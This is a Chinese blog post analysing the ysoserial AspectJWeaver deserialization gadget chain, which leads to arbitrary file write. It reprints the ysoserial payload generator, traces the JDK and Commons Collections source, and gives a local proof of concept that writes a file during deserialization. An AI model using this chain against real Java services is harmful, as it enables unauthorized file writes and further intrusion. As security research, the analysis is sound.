AspectJWeaver链分析

渗透技巧 1年前 (2023) admin
323 0 0

AspectJWeaver链分析

小工具链

首先看yso的gadget chain

Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

能看出来最终达成的效果是任意文件写

依赖

@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})

cc3.2.2及以下,aspectjweaver及以下依赖,当然这是一个组合,可以分为两部分自然也可以拆开再找到其他可利用的进行组合

ysoPayload

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java

public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);

Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);

return map;

}

分析数据流

在java.util.HashSet#readObject函数末尾,调用了java.util.HashMap#put

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}

// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}

// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);

// Constructing the backing map will lazily create an array when the first element is
// added, so check it before construction. Call HashMap.tableSizeFor to compute the
// actual allocation size. Check Map.Entry[].class since it's the nearest public type to
// what is actually created.

SharedSecrets.getJavaOISAccess()
.checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));

// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

为什么map是HashMap对象?可以看payload中HashSet的初始化

HashSet map = new HashSet(1);

对应的HashSet构造函数

public HashSet(int initialCapacity) {
map = new HashMap<>(initialCapacity);
}

HashMap.put参数是e和一个空对象

PRESENT空对象:

private static final Object PRESENT = new Object();

而e是调用java.io.ObjectInputStream#readObject从序列化数据中读取的TiedMapEntry对象,也就是payload中创建的

TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

AspectJWeaver链分析

为什么java.io.ObjectInputStream#readObject从序列化数据中读出的是TiedMapEntry对象?

首先

  • HashSet中的所有对象都保存在内部HashMap的key中,以保证唯一性

  • HashMap的每个key->value键值对保存在一个命名为table的Node类数组中,每次调用HashMap#get方法时,实际时从这个数组中获取值

而在 HashSet 的 方法中,会依次调用map也就是 HashMap中每个元素的 方法来实现序列化writeObject()writeObject()

private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();

// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());

// Write out size
s.writeInt(map.size());

// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}

相应的,在反序列化过程中,会依次调用每个元素的 方法,然后将其作为 (value 为固定值) 依次放入 HashMap 中readObject()key

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
...
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

所以这里的e就是HashMap中的元素,然后再看payload中的反射部分

Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);

首先获取了HashSet的map属性值,也就是HashMap对象

然后再进一步获取HashMap对象中的table属性值,然后从table中获取索引0或1的对象,该对象为HashMap$Node

最后从HashMap$Node类中获取key这个field,并修改为tiedMapEntry(原本是通过java.util.HashSet#add添加的”foo”对象)

结合上面的readObject分析,可以知道此时e为构造好的tiedMapEntry对象

再看java.util.HashMap#put

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

调用了java.util.HashMap#hash,此时key为上文的TiedMapEntry对象

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

在继续调用了key对象的hashCode方法,即org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

往下调用了org.apache.commons.collections.keyvalue.TiedMapEntry#getValue

public Object getValue() {
return map.get(key);
}

在getValue调用了map属性的get函数参数为key属性,map和key属性在构造函数时就已经初始化完成

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

payload中构造TiedMapEntry的初始化

TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

所以map此时为lazyMap对象,调用的org.apache.commons.collections.map.LazyMap#get,key为filename也就是输入的文件名

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

LazyMap的map属性是什么,可以先回到payload看LazyMap的构造

Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);

LazyMap的初始化函数

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

调用构造函数

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

这也是为什么payload中为什么content要创建Transformer对象

Transformer ct = new ConstantTransformer(content);

查看父类的构造函数

public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}

不为空就赋值map,而factory是由org.apache.commons.collections.functors.FactoryTransformer#getInstance获取到的,存储的是文件内容

所以此时的map为payload中的SimpleCache$StorableCachingMap且此时key不包含filename就会调用org.apache.commons.collections.functors.ConstantTransformer#transform获取了文件内容的字节流,在步入到

org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put中,这里是这条链的关键

public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[])((byte[])value);
if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
path = "IDEM";
} else {
path = this.writeToPath((String)key, valueBytes);
}

Object result = super.put(key, path);
this.storeMap();
return result;
} catch (IOException var6) {
this.trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), var6);
Dump.dumpWithException(var6);
return null;
}
}

此时key为文件名,value为文件内容的字节流

首先判断了字节数组是否和SimpleCache.SAME_BYTES相等,这是一个常量

private static final byte[] SAME_BYTES = "IDEM".getBytes();

然后进入到org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath

private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = this.folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}

此时key为文件名,bytes为文件内容字节数组,folder是初始化时赋予的

private StoreableCachingMap(String folder, int storingTimer) {
this.folder = folder;
this.initTrace();
this.storingTimer = storingTimer;
}

再看payload

Object simpleCache = ctor.newInstance(".", 12);

yso默认创建在当前文件夹(当然也可以自己进行目录穿越),然后直接将字节流写入文件中,达到了任意文件写的效果

非预期避免

从上面的分析可以知道payload大量的反射是为了将TiedMapEntry这个对象添加到HashSet的HashMap的元素中,那么为什么不直接通过HashSet.add()将TiedMapEntry添加到其中呢?

为了分析这个问题,首先在本地构造payload

public static void main(String[] args) throws Exception{
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);
declaredConstructor.setAccessible(true);
Object map = declaredConstructor.newInstance(".", 111);
Transformer ct = new ConstantTransformer("test".getBytes(StandardCharsets.UTF_8));
Map lazyMap = LazyMap.decorate((Map) map,ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"1.txt");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output"));
oos.writeObject(hashSet);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("output"));
ois.readObject();
}

本地使用这段payload进行debug时能够发现,writeToPath被触发了两次

第一次的调用栈

writeToPath:253, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
put:193, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
get:152, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
add:220, HashSet (java.util)
main:25, AspectJWeaver

也就是在构造payload的时候就在本地触发了文件写的操作,HashSet.add直接调用了HashMap的put方法

public boolean add(E e) {
return map.put(e, PRESENT)==null;
}

调用了HashMap的put方法此时的e是我们add的tiedMapEntry对象,和上文分析中readObject中获取的tiedMapEntry对象一样是构造好的,所以调用了java.util.HashMap#put后就完全一样走到文件写入的sink了

所以通过反射去将HashSet中HashMap的元素更改为tiedMapEntry对象可以避免非预期的文件写入

参考

  • https://www.cnblogs.com/bitterz/p/15305894.html

  • https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java



AspectJWeaver链分析

 

如需进群进行技术交流,请扫该二维码

AspectJWeaver链分析


原文始发于微信公众号(衡阳信安):AspectJWeaver链分析

版权声明:admin 发表于 2023年1月14日 下午10:51。
转载请注明:AspectJWeaver链分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...